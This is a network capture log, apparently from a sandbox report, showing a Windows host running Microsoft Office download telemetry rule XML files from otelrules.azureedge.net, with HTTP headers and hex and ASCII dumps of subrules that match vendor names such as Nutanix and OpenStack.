2024-11-01 12:43:07 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	62357	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:07 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:07 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9c5aad6b-101e-0034-384b-2c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124307Z-159b85dff8f8zww8hC1DFWd99n00000000n000000000cbcn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:07 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	62358	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:07 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:08 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 43d41d11-d01e-0028-575c-2b7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124308Z-16ccfc498978mvxwhC1DFWafzn00000000sg000000005pw8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	62359	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:08 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:08 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:08 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 275a5063-901e-0048-422e-2cb800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124308Z-176bd8f9bc598x8vhC1DFWq73s00000000u00000000082gu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:08 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	62360	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:08 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:08 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: abdc4130-301e-0000-3f2e-2ceecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124308Z-176bd8f9bc59g2s2hC1DFWby1800000000qg0000000093ux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 12:43:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	62361	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:08 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:08 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:08 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: c82f15e6-f01e-00aa-2d36-2c8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124308Z-16ccfc49897jxxn9hC1DFWexyc00000000mg0000000007tm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:08 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	62362	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:09 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:09 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124309Z-16ccfc49897x7dnlhC1DFWu7ac00000000pg000000007e3m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	62363	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:09 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:09 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: cc16d6e3-a01e-001e-1208-2c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124309Z-16dc884887b99jtmhC1DFWc1qc00000000e0000000002k0h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:09 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	62364	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:09 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:09 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:09 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 7051a786-a01e-003d-112e-2c98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124309Z-176bd8f9bc5fvjnbhC1DFW9ez800000000ng000000003syv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 12:43:09 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	62366	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:09 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:09 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:09 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 48ab1ac5-a01e-0070-1038-2c573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124309Z-16ccfc49897wlhjjhC1DFWsx6c00000000m0000000009b4p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:09 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	62365	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:09 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:09 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:09 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 1048e377-301e-0000-11d0-2aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124309Z-159b85dff8fbvrz4hC1DFW730c000000025g0000000066vb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:09 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	62367	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:09 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:10 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:09 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 24f20e23-801e-0078-0539-2bbac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124309Z-16ccfc49897nrfsvhC1DFW8e0000000000mg00000000kvms x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:10 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	62368	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:10 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
